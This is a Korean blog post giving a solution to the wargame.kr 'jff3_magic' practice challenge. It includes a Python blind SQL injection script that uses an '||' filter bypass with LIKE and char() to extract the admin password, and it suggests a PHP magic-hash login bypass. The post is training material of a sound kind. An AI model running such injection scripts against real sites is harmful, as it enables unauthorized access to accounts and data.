Notice
Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Archives
Today
Total
관리 메뉴

White Security

[wargame.kr] jff3_magic 문제풀이 본문

Wargame Writeups/wargame.kr

[wargame.kr] jff3_magic 문제풀이

POSIX 2019. 1. 27. 22:04

wargame.kr 사이트의 29번째 문제입니다.



쉬어가는 문제입니다

찾아보니 jff3는 CTF 이름이네요.



링크에 접속하면 alert이 반겨줍고 있습니다.

아직 개발이 완료되지 않았다며 자바스크립트를 통해 이전 페이지로 돌아갑니다.



좌측에 멤버 목록으로

Cd80 Orange Comma 가 있고

우측에는 로그인 폼이 존재합니다.



로그인을 시도할 시에

비밀번호 해시값을 보여주는데

이를 통해 해시 타입을 유추해 볼 수 있었습니다.


위는 haval 128,5 해시입니다.



자바스크립트를 차단하고

멤버 목록을 선택해 보면

이름이 나타납니다.




여기서 no 인자값을 0으로 바꾸어보면

유저명이 admin 으로 나타납니다.



인젝션을 시도하면 거의 모든 구문들이

차단되어 있는 것을 확인할 수 있습니다.



if 함수는 차단되었지만
or 의미로 사용 가능한 '||' 연산자가 사용가능하므로
우변에 조건식을 넣는 것으로 결과값 확인이 가능합니다.

아래는 이를 이용해 작성한 스크립트입니다.


from urllib import request, parse
import sys

char_list = 'abcdefghijklmnopqrstuvwxyz0123456789'

def if_query(query):
	url = 'http://wargame.kr:8080/jff3_magic/?no=-1||' \
		+ parse.quote('pw like char(%s,%d)' \
		% (','.join( str(ord(c)) for c in query ), ord('%')))
	
	req = request.Request(url)
	response = request.urlopen(req).read()
	return response.find(b'admin') > 0

pw = ''
pw_len = 32

for idx in range(pw_len):
	for c in char_list:
		if if_query(pw + c):
			pw += c
			sys.stdout.write('\r[%d] %s%s' % (pw_len, pw, '_' * (pw_len - len(pw))))
			break

print('')



비밀번호의 해쉬 값이 php 매직 해시임을 확인했으므로
haval 128,5의 매직 해시를 찾아
패스워드에 대입하면 로그인이 가능할 것으로 보입니다.



Comments